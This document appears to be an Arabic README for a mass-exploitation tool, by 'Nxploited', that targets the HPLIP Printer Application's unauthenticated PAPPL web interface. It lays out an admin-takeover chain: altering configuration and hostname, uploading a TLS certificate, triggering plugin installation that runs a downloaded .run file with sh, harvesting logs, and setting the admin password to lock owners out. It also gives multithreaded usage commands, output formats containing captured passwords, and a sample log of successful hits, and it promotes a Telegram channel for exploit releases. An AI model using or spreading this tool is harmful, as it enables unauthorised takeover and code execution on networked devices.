
HPLIP < 3.26.6 — استيلاء كامل على صلاحيات المسؤول عبر واجهة PAPPL الويب (بدون مصادقة). مرتبط بـ CVE-2026-91097 حتى CVE-2026-91106 (CVSS 9.3)
🔬 انضم إلى Telegram للحصول على أحدث أبحاث الثغرات وإصدارات الاستغلال
أداة استغلال جماعي تستهدف تطبيق HPLIP Printer (واجهة الويب المبنية على PAPPL) في جميع إصدارات HPLIP الأقدم من 3.26.6. تستغل الأداة الحالة الافتراضية غير المصادَق عليها لواجهة PAPPL للويب لتنفيذ سلسلة استيلاء إداري كاملة: التلاعب بالإعدادات، تعديل اسم المضيف، استبدال شهادة TLS، تثبيت إضافة HP (يُفعّل تنفيذ shell لملف .run على الهدف)، استخراج سجلات النظام، وقفل كلمة مرور المسؤول.
الثغرة الأساسية هي الوصول الإداري غير المصادَق عليه في PAPPL — يأتي تطبيق HPLIP Printer بدون كلمة مرور مُهيّأة افتراضيًا، مما يسمح لأي مهاجم على الشبكة بتنفيذ جميع الإجراءات الإدارية دون مصادقة عبر واجهة الويب (عادةً المنفذ 8000).
بالإضافة إلى ذلك، تستفيد سلسلة تثبيت الإضافة من نقاط ضعف تمت معالجتها في:
| CVE | CWE | CVSS 4.0 | الصلة |
|---|---|---|---|
| CVE-2026-91097 | CWE-94 / CWE-787 | 7.0 | Path Traversal في plugin.spec — يمر تثبيت الإضافة الذي تُفعّله هذه الأداة عبر كود pluginhandler.py المصاب |
| CVE-2026-91102 | CWE-78 / CWE-494 | 8.4 | التنزيل دون التحقق من السلامة — يتم تنزيل ملف الإضافة .run عبر HTTP وتنفيذه باستخدام sh على الهدف |
نشرة أمان HP: HPSBPI04151
| نقطة النهاية | الإجراء | تم التحقق |
|---|---|---|
/security | تعيين كلمة مرور المسؤول (الاستيلاء على الحساب) | ✅ |
/config | تعديل اسم DNS-SD، الموقع، المؤسسة، جهة الاتصال | ✅ |
/network | تغيير اسم مضيف النظام | ✅ |
/tls-install-crt | رفع شهادة TLS عشوائية + مفتاح خاص | ✅ |
/plugin | تفعيل تنزيل إضافة HP + قبول الترخيص + التثبيت (ينفّذ .run باستخدام sh) | ✅ |
/logfile.txt | قراءة ملف سجل التطبيق الكامل (الكشف عن المعلومات) | ✅ |
Target Discovery
│
▼
Detect HPLIP Printer Application (Server header + version)
│
▼
Check Authentication Status (/security)
│
├── Password Set ──► Log as VULN (locked)
│
└── No Password (default) ──► Exploit Chain:
│
├── 1. Modify Configuration (/config)
│ dns_sd_name, location, organization, contact_name
│ Verified: marker reflected in response
│
├── 2. Change Hostname (/network)
│ Old hostname captured, new hostname set
│ Verified: new value reflected in response
│
├── 3. Upload TLS Certificate (/tls-install-crt)
│ Custom PEM certificate + private key
│ Multipart file upload
│
├── 4. Install HP Plugin (/plugin)
│ Step 1: POST action=install-plugin (downloads .run)
│ Step 2: POST action=license-accepted (executes with sh)
│ ⚠ CVE-2026-91097 + CVE-2026-91102
│
├── 5. Read Log File (/logfile.txt)
│ System paths, environment info, Snap paths
│
└── 6. Set Admin Password (/security)
Locks out further unauthenticated access
Completes full admin takeover
pip install requests
يتطلب Python 3.8+. لا توجد تبعيات أخرى.
python T.py targets.txt 50
| الوسيطة | الوصف | الافتراضي |
|---|---|---|
targets.txt | ملف يحتوي على قائمة الأهداف (هدف واحد في كل سطر) | يُطلب تفاعليًا |
50 | عدد الخيوط المتزامنة | 15 |
python T.py
ستطلب الأداة ملف قائمة الأهداف وعدد الخيوط.
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
8000 افتراضيًا#| الملف | المحتويات |
|---|---|
AdminS.txt | الاستيلاء الإداري — كلمة المرور، إصدار الخادم، خريطة URL الكاملة للوحة |
Nx_modify.txt | تغييرات الإعدادات واسم المضيف التي تم التحقق منها (القيم القديمة → الجديدة) |
Nx_upload.txt | تأكيدات رفع شهادة TLS |
Nx_plugin.txt | نتائج تثبيت إضافة HP مع حالة تنفيذ shell |
Nx_recon.txt | الكشف عن المعلومات — حجم ملف السجل، مسارات البيئة، الإصدار |
AdminS.txthttp://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...
Nx_modify.txthttp://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
██████ ██ ██ ██
██ ███ ██ ██ ██
██ ██████ ███
██ █████ ██ ██
██ ████ ██ ██
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HPLIP Printer Application │ Admin Takeover + Full Control
Affected < 3.26.6 │ PAPPL Unauthenticated Access
CVE-2026-91097 │ Plugin Path Traversal
CVE-2026-91102 │ Plugin Download Without Integrity + Shell Exec
Exploited via Web: /security /config /network /plugin /tls-install-crt /logs
By: Nxploited ( Khaled Alenazi ) │ Telegram: @Kxploit
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
targets=4 threads=4
00:11:34 [CUPS ] http://192.168.1.100:8000 Server: HPLIP_Printer_Application/3.22.10-13
00:11:34 [VER ] http://192.168.1.100:8000 v3.22.10 < 3.26.6 AFFECTED
00:11:35 [PROBE ] http://192.168.1.100:8000 v3.22.10 | NO AUTH | exploiting...
00:11:36 [CFG ] http://192.168.1.100:8000 CONFIG MODIFIED | marker=abc12345
00:11:37 [NET ] http://192.168.1.100:8000 HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
00:11:38 [CERT ] http://192.168.1.100:8000 TLS CERT UPLOADED | marker=abc12345
00:12:03 [PLG ] http://192.168.1.100:8000 PLUGIN | freshly_installed | shell_exec=True
00:12:05 [LOG ] http://192.168.1.100:8000 logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
00:12:05 [ADMIN ] http://192.168.1.100:8000 PASSWORD SET | pw=Nx-zD_buovl6wko0
00:12:05 [HIT ] http://192.168.1.100:8000 v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
DONE 4/4 █ HIT=4 █ VULN=0 █ SAFE=0 █ SKIP=0
▐ Admin Takeover: 4 └─ AdminS.txt
▐ Modifications : 8 └─ Nx_modify.txt
▐ Cert Uploads : 4 └─ Nx_upload.txt
▐ Plugin Exec : 1 └─ Nx_plugin.txt
▐ Recon / Info : 8 └─ Nx_recon.txt
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
| الوسم | المعنى |
|---|---|
HIT | تم استغلاله بنجاح — تحقق الاستيلاء الإداري |
VULN | مصاب لكن كلمة المرور مُهيّأة مسبقًا (مقفل) |
SAFE | الإصدار ≥ 3.26.6 (مُرقّع) |
SKIP | ليس تطبيق HPLIP Printer أو غير قابل للوصول |